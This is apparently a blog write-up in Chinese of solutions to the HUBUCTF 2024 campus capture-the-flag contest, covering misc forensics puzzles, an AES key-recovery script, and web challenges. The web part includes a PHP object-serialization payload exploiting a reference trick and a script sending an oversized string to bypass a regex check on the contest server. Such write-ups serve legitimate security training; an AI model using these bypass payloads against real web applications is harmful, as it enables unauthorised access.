hubuctf培训wp

HUBUCTF 2024校赛存档wp

misc+web+cryto

sorin

MiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmisc

  1. Convert

解压,给出了一堆10,赛博厨子一把梭

发现是rar压缩包,导出后解压发现主题藏东西

Base64解密获得flag

  1. Passwd

解压是一个pcap文件,wireshark打开,发现大量tcp协议

搜索关键词Password

追踪流

发现passwd,但是直接提交是错误的,这里需要查看hex转储

这里需要知道7f代表delete,也就是删除,所以拼接得到backd00Rmat就是flag

  1. reverse me

010打开,发现是按双字节倒置过来的jpg文件,用工具或脚本都能恢复,这边我直接用曾哥的i命令恢复

镜像的flag,用在线工具或者ps的镜像都能恢复

  1. try_it

常规爆破

解压后是jsfuck文本

在线网站直接解

CrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCryto

  1. 这是什么?

一个apk文件,010打开,发现蹊跷

提取jsfuck解密

  1. Aes

观察代码,key是32位,iv是16位,所以异或的内容转bytes的前16位取前两位×16就是key,iv就是输出内容与key异或即可

Exp:from Crypto.Cipher import AES

import os

import gmpy2

# from flag import FLAG

from Crypto.Util.number import *

xors=91144196586662942563895769614300232343026691029427747065707381728622849079757

m=b'@H\x15-\xd8\xb0}M\xd0\xde0\xa8\x97\xed\x7f\xae\xe32\xf4}C\x1dB!\xe6k\xbc\xd1\x96 \xdc\x0b'

key=long_to_bytes(xors)[:2]*16

iv=long_to_bytes(bytes_to_long(key)^xors)

cipher=AES.new(key,AES.MODE_CBC,iv)

c=cipher.decrypt(m)

print(c)

WebwebwebwebWebwebwebwebWebwebwebwebWebwebwebwebWebwebwebwe

  1. easyweb1

数组绕过

  1. Easyweb2

弱比较,双0e绕过

  1. easyweb3

这里用弱地址域相等

<?php

class hubu{

    public $token;

    private $password;

    public function __construct(){

        $this->token=&$this->password;

    }

    public function login(){

        return $this->token===$this->password;

    }

}

$hubus=new hubu();

echo urlencode(serialize($hubus));

  1. easyweb4

Expimport requests

 

url = 'http://challenge.hubuctf.cn:32280/'

data = {

    'data': 'very' * 250000 + '77r1kka'

}

r = requests.post(url=url, data=data).text

print(r)

posted @ 2024-11-12 00:27  Elma-sorin  阅读(72)  评论(0)    收藏  举报